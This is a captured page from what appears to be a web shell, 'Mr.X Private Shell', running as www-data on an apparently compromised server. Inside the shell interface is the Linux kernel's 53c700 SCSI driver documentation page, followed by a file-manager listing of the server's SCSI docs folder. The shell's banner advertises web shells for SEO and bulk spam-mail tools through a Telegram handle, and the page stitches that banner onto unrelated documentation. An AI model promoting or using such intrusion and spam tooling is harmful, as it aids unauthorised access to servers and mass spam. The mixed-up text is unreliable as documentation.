__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.121: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>The 53c700 Driver Notes &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="AACRAID Driver for Linux (take two)" href="aacraid.html" />
    <link rel="prev" title="Link Power Managent Policy" href="link_power_management_policy.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../filesystems/index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/scsi/53c700.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="the-53c700-driver-notes">
<h1>The 53c700 Driver Notes<a class="headerlink" href="#the-53c700-driver-notes" title="Link to this heading">¶</a></h1>
<section id="general-description">
<h2>General Description<a class="headerlink" href="#general-description" title="Link to this heading">¶</a></h2>
<p>This driver supports the 53c700 and 53c700-66 chips.  It also supports
the 53c710 but only in 53c700 emulation mode.  It is full featured and
does sync (-66 and 710 only), disconnects and tag command queueing.</p>
<p>Since the 53c700 must be interfaced to a bus, you need to wrapper the
card detector around this driver.  For an example, see the
NCR_D700.[ch] or lasi700.[ch] files.</p>
<p>The comments in the 53c700.[ch] files tell you which parts you need to
fill in to get the driver working.</p>
</section>
<section id="compile-time-flags">
<h2>Compile Time Flags<a class="headerlink" href="#compile-time-flags" title="Link to this heading">¶</a></h2>
<p>A compile time flag is:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>CONFIG_53C700_LE_ON_BE
</pre></div>
</div>
<p>define if the chipset must be supported in little endian mode on a big
endian architecture (used for the 700 on parisc).</p>
</section>
<section id="using-the-chip-core-driver">
<h2>Using the Chip Core Driver<a class="headerlink" href="#using-the-chip-core-driver" title="Link to this heading">¶</a></h2>
<p>In order to plumb the 53c700 chip core driver into a working SCSI
driver, you need to know three things about the way the chip is wired
into your system (or expansion card).</p>
<ol class="arabic simple">
<li><p>The clock speed of the SCSI core</p></li>
<li><p>The interrupt line used</p></li>
<li><p>The memory (or io space) location of the 53c700 registers.</p></li>
</ol>
<p>Optionally, you may also need to know other things, like how to read
the SCSI Id from the card bios or whether the chip is wired for
differential operation.</p>
<p>Usually you can find items 2. and 3. from general spec. documents or
even by examining the configuration of a working driver under another
operating system.</p>
<p>The clock speed is usually buried deep in the technical literature.
It is required because it is used to set up both the synchronous and
asynchronous dividers for the chip.  As a general rule of thumb,
manufacturers set the clock speed at the lowest possible setting
consistent with the best operation of the chip (although some choose
to drive it off the CPU or bus clock rather than going to the expense
of an extra clock chip).  The best operation clock speeds are:</p>
<table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>53c700</p></td>
<td><p>25MHz</p></td>
</tr>
<tr class="row-even"><td><p>53c700-66</p></td>
<td><p>50MHz</p></td>
</tr>
<tr class="row-odd"><td><p>53c710</p></td>
<td><p>40Mhz</p></td>
</tr>
</tbody>
</table>
</section>
<section id="writing-your-glue-driver">
<h2>Writing Your Glue Driver<a class="headerlink" href="#writing-your-glue-driver" title="Link to this heading">¶</a></h2>
<p>This will be a standard SCSI driver (I don’t know of a good document
describing this, just copy from some other driver) with at least a
detect and release entry.</p>
<p>In the detect routine, you need to allocate a <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span>
<span class="pre">NCR_700_Host_Parameters</span></code> sized memory area and clear it (so that the
default values for everything are 0).  Then you must fill in the
parameters that matter to you (see below), plumb the NCR_700_intr
routine into the interrupt line and call NCR_700_detect with the host
template and the new parameters as arguments.  You should also call
the relevant request_*_region function and place the register base
address into the ‘base’ pointer of the host parameters.</p>
<p>In the release routine, you must free the NCR_700_Host_Parameters that
you allocated, call the corresponding release_*_region and free the
interrupt.</p>
<section id="handling-interrupts">
<h3>Handling Interrupts<a class="headerlink" href="#handling-interrupts" title="Link to this heading">¶</a></h3>
<p>In general, you should just plumb the card’s interrupt line in with</p>
<p>request_irq(irq, NCR_700_intr, &lt;irq flags&gt;, &lt;driver name&gt;, host);</p>
<p>where host is the return from the relevant <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">NCR_700_detect()</span></code> routine.</p>
<p>You may also write your own interrupt handling routine which calls
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">NCR_700_intr()</span></code> directly.  However, you should only really do this if
you have a card with more than one chip on it and you can read a
register to tell which set of chips wants the interrupt.</p>
</section>
<section id="settable-ncr-700-host-parameters">
<h3>Settable NCR_700_Host_Parameters<a class="headerlink" href="#settable-ncr-700-host-parameters" title="Link to this heading">¶</a></h3>
<p>The following are a list of the user settable parameters:</p>
<dl class="simple">
<dt>clock: (MANDATORY)</dt><dd><p>Set to the clock speed of the chip in MHz.</p>
</dd>
<dt>base: (MANDATORY)</dt><dd><p>Set to the base of the io or mem region for the register set. On 64
bit architectures this is only 32 bits wide, so the registers must be
mapped into the low 32 bits of memory.</p>
</dd>
<dt>pci_dev: (OPTIONAL)</dt><dd><p>Set to the PCI board device.  Leave NULL for a non-pci board.  This is
used for the <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">pci_alloc_consistent()</span></code> and pci_map_*() functions.</p>
</dd>
<dt>dmode_extra: (OPTIONAL, 53c710 only)</dt><dd><p>Extra flags for the DMODE register.  These are used to control bus
output pins on the 710.  The settings should be a combination of
DMODE_FC1 and DMODE_FC2.  What these pins actually do is entirely up
to the board designer.  Usually it is safe to ignore this setting.</p>
</dd>
<dt>differential: (OPTIONAL)</dt><dd><p>Set to 1 if the chip drives a differential bus.</p>
</dd>
<dt>force_le_on_be: (OPTIONAL, only if CONFIG_53C700_LE_ON_BE is set)</dt><dd><p>Set to 1 if the chip is operating in little endian mode on a big
endian architecture.</p>
</dd>
<dt>chip710: (OPTIONAL)</dt><dd><p>Set to 1 if the chip is a 53c710.</p>
</dd>
<dt>burst_disable: (OPTIONAL, 53c710 only)</dt><dd><p>Disable 8 byte bursting for DMA transfers.</p>
</dd>
</dl>
</section>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/scsi/53c700.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
scsi_transport_srp Folder 0755
53c700.html File 14.24 KB 0644
BusLogic.html File 40.51 KB 0644
FlashPoint.html File 17.51 KB 0644
NinjaSCSI.html File 14.65 KB 0644
aacraid.html File 24.06 KB 0644
advansys.html File 22.78 KB 0644
aha152x.html File 17.97 KB 0644
aic79xx.html File 39.05 KB 0644
aic7xxx.html File 39.95 KB 0644
arcmsr_spec.html File 47.74 KB 0644
bfa.html File 13.08 KB 0644
bnx2fc.html File 11.76 KB 0644
cxgb3i.html File 12.03 KB 0644
dc395x.html File 13.48 KB 0644
dpti.html File 12.29 KB 0644
g_NCR5380.html File 12.35 KB 0644
hpsa.html File 14.53 KB 0644
hptiop.html File 19.61 KB 0644
index.html File 13.43 KB 0644
libsas.html File 27.98 KB 0644
link_power_management_policy.html File 8.92 KB 0644
lpfc.html File 11.34 KB 0644
megaraid.html File 11.93 KB 0644
ncr53c8xx.html File 115.22 KB 0644
ppa.html File 8.8 KB 0644
qlogicfas.html File 11.85 KB 0644
scsi-changer.html File 16.8 KB 0644
scsi-generic.html File 13.62 KB 0644
scsi-parameters.html File 11.93 KB 0644
scsi.html File 10.65 KB 0644
scsi_eh.html File 36.79 KB 0644
scsi_fc_transport.html File 38.88 KB 0644
scsi_mid_low_api.html File 71.01 KB 0644
sd-parameters.html File 9.52 KB 0644
smartpqi.html File 11.98 KB 0644
st.html File 41.47 KB 0644
sym53c500_cs.html File 9.4 KB 0644
sym53c8xx_2.html File 66.19 KB 0644
tcm_qla2xxx.html File 9.28 KB 0644
ufs.html File 17.85 KB 0644
wd719x.html File 9.04 KB 0644
Filemanager